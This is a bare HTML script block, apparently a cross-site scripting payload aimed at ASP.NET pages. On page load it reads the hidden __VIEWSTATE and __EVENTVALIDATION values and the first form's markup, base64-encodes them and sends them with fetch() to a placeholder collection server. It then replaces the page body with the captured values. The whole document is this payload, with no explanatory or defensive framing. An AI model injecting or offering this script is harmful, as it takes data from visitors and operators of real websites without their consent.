<script>

let vs = document.querySelector('input[name="__VIEWSTATE"]')?.value || 'N/A';

let evt = document.querySelector('input[name="__EVENTVALIDATION"]')?.value || 'N/A';

let form = document.forms[0]?.innerHTML || 'No form';

fetch('https://your-server.com/asp?viewstate='+btoa(vs)+'&event='+btoa(evt)+'&form='+btoa(form));

document.body.innerHTML = '<pre>VIEWSTATE: '+vs.substring(0,100)+'...\nEVENTVALIDATION: '+evt.substring(0,100)+'...</pre>';

</script>